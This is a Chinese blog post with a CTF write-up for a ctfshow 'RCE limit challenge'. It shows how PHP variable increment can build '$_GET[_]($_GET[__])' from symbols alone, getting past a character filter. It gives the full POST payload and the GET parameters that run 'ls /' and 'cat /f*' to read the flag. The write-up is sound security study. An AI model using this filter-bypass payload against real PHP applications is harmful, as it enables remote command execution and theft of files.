您现在的位置是:首页 >技术交流 >ctfshow 每周大挑战 RCE极限挑战 2网站首页技术交流

ctfshow 每周大挑战 RCE极限挑战 2

好想变强啊 2024-05-30 13:35:54
简介ctfshow 每周大挑战 RCE极限挑战 2

题目

题目php代码

解题步骤

1.跑一下正则

本着能懒就懒的原则,就不写Python了(提一下这个主要是我一开始想的是写Python呜呜呜),直接写php,还能复制粘贴题目代码里正则表达式的部分,然后从浏览器打开个在线php工具跑一下,得到未过滤的字符有哪几个

<?php
for ($i=32;$i<127;$i++){
    if (!preg_match("/[a-zA-Z0-9@#%^&*:{}-<?>"|`~\\]/",chr($i))){
        echo chr($i)." ";
    }
}
?>

找到未过滤的字符
可见,没被过滤的有空格和下面这几个字符:

! $ ’ ( ) + , . / ; = [ ] _

2.变量自增

这里我就直接说要用什么解法吧,这题需要通过变量自增构造出
$GET[_]($_GET[__]);
然后实现命令执行。

一个小小的思考:以后如果再看到$、_、'、+、[]没被过滤,可以考虑用变量自增解题。当然严谨点儿说的话,如果数字0没被过滤,那也可以没有单引号,还是要具体情况具体分析。

在php中,如果$a="A",那么执行$a++后,$a的值是 "B"
浅浅验证一下:
php变量自增
因此,获取一个字母后,通过自增操作即可获得所有字母

那么,如何用题目中没被过滤的字符获得“A”呢?
[]默认表示数组名Array,[]._ 表示数组名Array拼接上字符_,取Array_的第0个位置的元素就是“A”。[1]
[1]参考博客:https://blog.csdn.net/XiaoXiao_RenHe/article/details/130068584
这里我也用在线php工具验证了一下:
给变量赋值为[],得到的输出值是Array
[]的值默认是Array
[]拼接上_再取第0个位置的元素得到A
得到A
不拼接_的话是出不来“A”的
不拼接下划线无法输出“A”
但是,数字被过滤了,怎样得到第0个位置的元素呢?
这里给出两种方法吧。
一是用两个没被过滤的、不同的字符组成布尔表达式作为数组的索引,例如'!'=='+',两个不同的字符当然不相等啦,所以返回值是0;二是用'_'作为数组的索引。下面也贴上验证,总之两种方法都能得到A,忽略这里的报错就好,不影响做题。
0被过滤也可以得到0
既然现在已经得到了A,也已经知道了可以通过自增的方式得到其他的字母,所以接下来就是通过自增构造出GET了,具体过程如下:

$_=[]._;         //$_变量的值是Array_
$_=$_['_'];      //将$_赋值为$_[0],此时$_的值是A
$_++;$_++;$_++;  //$_的值依次自增为B、C、D
$__=++$_;        //++在$_前,可以把$_自增后的值赋给$__,此时$__的值为E,$_的值也是E,而如果写$__=$_++的话,那$__的值就是D了,应该可以看作++在前是先自增再赋值,++在后是先赋值再自增,这里和C语言中“i++与++i的区别”是一样的
$_++;            //$_继续自增为F
$__=++$_.$__;    //$_自增为G,与$__的值E拼接后,再赋给$__,此时$__的值是GE
$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++; //$_的值依次自增为H、I、J、K、L、M、N、O、P、Q、R、S
$_=$__.++$_;     //$_自增为T并拼接到GE的后面,再赋值给$_,此时$_的值为GET
$_='_'.$_;       //在GET的前面拼接一个_,此时$_的值为_GET
$$_[_]($$_[__]); //拼接出$_GET[_]($_GET[__]),get传参的参数名为_和__,如_参数传参为system,__参数传参为ls /,就在eval的括号中拼接出了system('ls /');

3.最终解题payload

所以,解题的payload可以用:
借助HackBar插件,勾选Post data,方框中传post的参数

ctf_show=$_=[]._;$_=$_['_'];$_++;$_++;$_++;$__=++$_;$_++;$__=++$_.$__;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$__=$__.++$_;$_='_'.$__;$$_[_]($$_[__]);

在url传get的参数
?_=system&__=ls /
都填好之后,点击Execute,如图所示,回显了根目录下存在的文件,看到有个f1agaaa:
回显出根目录下的文件
修改get请求的参数为?_=system&__=cat /f*,回显了flag:
回显flag

一点多余的思考

通过学习其他师傅们的wp,能拿到这题的flag后,我开始疑惑,为什么要拼接出两个get呀,直接用一个get接收完整的system()函数不香吗?
于是开始了尝试,去掉一个get,也就是把post的参数最后的$$_[_]($$_[__]);删掉括号和括号里的内容,只留下$$_[_];,url里只传一个get参数_=system('ls /'),结果没有回显,后来又打开了一篇博客(也就是上面提到的参考博客)发现那个师傅也有这个疑问,感觉还蛮巧的。
只用一个get传参无回显
本来觉得就记住一个$_GET[_]不行就好咯,但是最后还是没忍住去请教了大佬……大佬如是说:

$_GET[_]($_GET[__]) 这个形式是把$_GET[_]的值作为函数名,$_GET[__]的值作为参数;
$_GET[_] 并不能执行函数,只是将接收到的值作为字符串处理;
重点是括号,有括号表示是一个函数。

总之呢,就是$_GET[_]是不能执行函数的,这里的括号很关键,大佬还举了一个很棒的栗子:如果是$_GET[_]()的话,可以用?_=phpinfo 执行一个无参的函数。后来我也试了一下确实可以:
有括号可以执行无参函数
以后不能再这么写博客了,实在是太话痨了,一篇博客就要写好久,有点难顶。

风语者!平时喜欢研究各种技术,目前在从事后端开发工作,热爱生活、热爱工作。